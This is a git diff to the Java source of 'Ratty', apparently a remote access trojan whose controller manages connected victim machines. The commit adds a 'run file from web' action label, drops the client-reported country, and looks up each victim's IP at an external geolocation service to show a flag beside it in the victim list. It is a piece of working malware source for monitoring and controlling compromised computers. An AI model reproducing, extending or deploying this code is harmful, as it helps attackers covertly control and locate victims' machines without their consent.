diff --git a/Ratty/res/language/lang_es.properties b/Ratty/res/language/lang_es.properties index ba20a75..9f0d7ae 100644 --- a/Ratty/res/language/lang_es.properties +++ b/Ratty/res/language/lang_es.properties @@ -37,6 +37,7 @@ action.execute=Ejecutar archivo action.delete=Eliminar archivo action.new_directory=Crear una nueva carpeta action.upload_execute=Subir y ejecutar archivo +action.drop_execute=EJecutar archivo desde web column.name=Nombre column.location=Localizacion diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 03768e5..4673e62 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.16"; + public static final String VERSION = "1.17"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java index b7f845c..aa1c039 100644 --- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java @@ -5,11 +5,10 @@ import de.sogomn.rat.Ratty; public final class InformationPacket extends AbstractPingPongPacket { - private String name, location, os, version; + private String name, os, version; public InformationPacket(final String name, final String location, final String os, final String version) { this.name = name; - this.location = location; this.os = os; this.version = version; @@ -30,7 +29,6 @@ public final class InformationPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveConnection connection) { connection.writeUTF(name); - connection.writeUTF(location); connection.writeUTF(os); connection.writeUTF(version); } @@ -43,7 +41,6 @@ public final class InformationPacket extends AbstractPingPongPacket { @Override protected void receiveData(final ActiveConnection connection) { name = connection.readUTF(); - location = connection.readUTF(); os = connection.readUTF(); version = connection.readUTF(); } @@ -52,7 +49,6 @@ public final class InformationPacket extends AbstractPingPongPacket { protected void executeRequest(final ActiveConnection connection) { type = DATA; name = System.getProperty("user.name"); - location = System.getProperty("user.country"); os = System.getProperty("os.name"); version = Ratty.VERSION; @@ -68,10 +64,6 @@ public final class InformationPacket extends AbstractPingPongPacket { return name; } - public String getLocation() { - return location; - } - public String getOs() { return os; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/Notification.java b/Ratty/src/de/sogomn/rat/server/gui/Notification.java index 354dd3c..3ba0774 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/Notification.java +++ b/Ratty/src/de/sogomn/rat/server/gui/Notification.java @@ -1,5 +1,6 @@ package de.sogomn.rat.server.gui; +import javax.swing.Icon; import javax.swing.JDialog; import javax.swing.JLabel; import javax.swing.border.EmptyBorder; @@ -10,16 +11,19 @@ public final class Notification { private JLabel label; private static final EmptyBorder PADDING = new EmptyBorder(10, 50, 10, 50); + private static final int GAP = 30; private static final int INTERVAL = 3; private static final int WAIT_TIME = 3000; - public Notification(final String text) { + public Notification(final String text, final Icon icon) { dialog = new JDialog(); label = new JLabel(text); + label.setIcon(icon); label.setHorizontalAlignment(JLabel.CENTER); label.setVerticalAlignment(JLabel.CENTER); label.setBorder(PADDING); + label.setIconTextGap(GAP); dialog.setUndecorated(true); dialog.setContentPane(label); @@ -28,6 +32,10 @@ public final class Notification { dialog.setAlwaysOnTop(true); } + public Notification(final String text) { + this(text, null); + } + public Notification() { this(""); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index adaa293..8f8a414 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -5,9 +5,12 @@ import static de.sogomn.rat.Ratty.LANGUAGE; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; +import java.net.URL; import java.util.HashMap; import java.util.Set; +import javax.imageio.ImageIO; +import javax.swing.ImageIcon; import javax.swing.JOptionPane; import de.sogomn.engine.fx.Sound; @@ -76,6 +79,8 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message"); + private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip="; + private static final Sound PING = Sound.loadSound("/ping.wav"); public RattyGuiController() { @@ -473,15 +478,30 @@ public final class RattyGuiController extends AbstractRattyController implements * ================================================== */ + private ImageIcon getFlagIcon(final String address) { + try { + final String requestAddress = FLAG_ADDRESS + address; + final URL url = new URL(requestAddress); + final BufferedImage image = ImageIO.read(url); + final ImageIcon icon = new ImageIcon(image); + + return icon; + } catch (final IOException ex) { + ex.printStackTrace(); + + return null; + } + } + private void logIn(final ServerClient client, final InformationPacket packet) { final String name = packet.getName(); - final String location = packet.getLocation(); final String os = packet.getOs(); final String version = packet.getVersion(); final String address = client.getAddress(); - final Notification notification = new Notification(name + " " + address); + final ImageIcon icon = getFlagIcon(address); + final Notification notification = new Notification(name + " " + address, icon); - client.logIn(name, location, os, version); + client.logIn(name, os, version, icon); client.addListener(this); gui.addRow(client); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 4de0bc4..aea7de5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -1,12 +1,15 @@ package de.sogomn.rat.server.gui; +import javax.swing.ImageIcon; + import de.sogomn.rat.ActiveConnection; final class ServerClient { private boolean loggedIn; - private String name, location, os, version; + private String name, os, version; + private ImageIcon flag; private boolean streamingDesktop, streamingVoice; private long ping; @@ -21,11 +24,11 @@ final class ServerClient { fileTree = new FileTree(); } - public void logIn(final String name, final String location, final String os, final String version) { + public void logIn(final String name, final String os, final String version, final ImageIcon flag) { this.name = name; - this.location = location; this.os = os; this.version = version; + this.flag = flag; final String title = name + " " + getAddress(); @@ -61,8 +64,8 @@ final class ServerClient { return name; } - public String getLocation() { - return location; + public ImageIcon getFlag() { + return flag; } public String getAddress() { diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index be29f7b..54404ee 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -5,6 +5,7 @@ import static de.sogomn.rat.Ratty.LANGUAGE; import java.util.ArrayList; import java.util.function.Function; +import javax.swing.ImageIcon; import javax.swing.table.AbstractTableModel; final class ServerClientTableModel extends AbstractTableModel { @@ -14,7 +15,7 @@ final class ServerClientTableModel extends AbstractTableModel { private ArrayList columns; private static final Column NAME = new Column(LANGUAGE.getString("column.name"), String.class, ServerClient::getName); - private static final Column LOCATION = new Column(LANGUAGE.getString("column.location"), String.class, ServerClient::getLocation); + private static final Column LOCATION = new Column(LANGUAGE.getString("column.location"), ImageIcon.class, ServerClient::getFlag); private static final Column IP_ADDRESS = new Column(LANGUAGE.getString("column.address"), String.class, ServerClient::getAddress); private static final Column OS = new Column(LANGUAGE.getString("column.os"), String.class, ServerClient::getOs); private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion);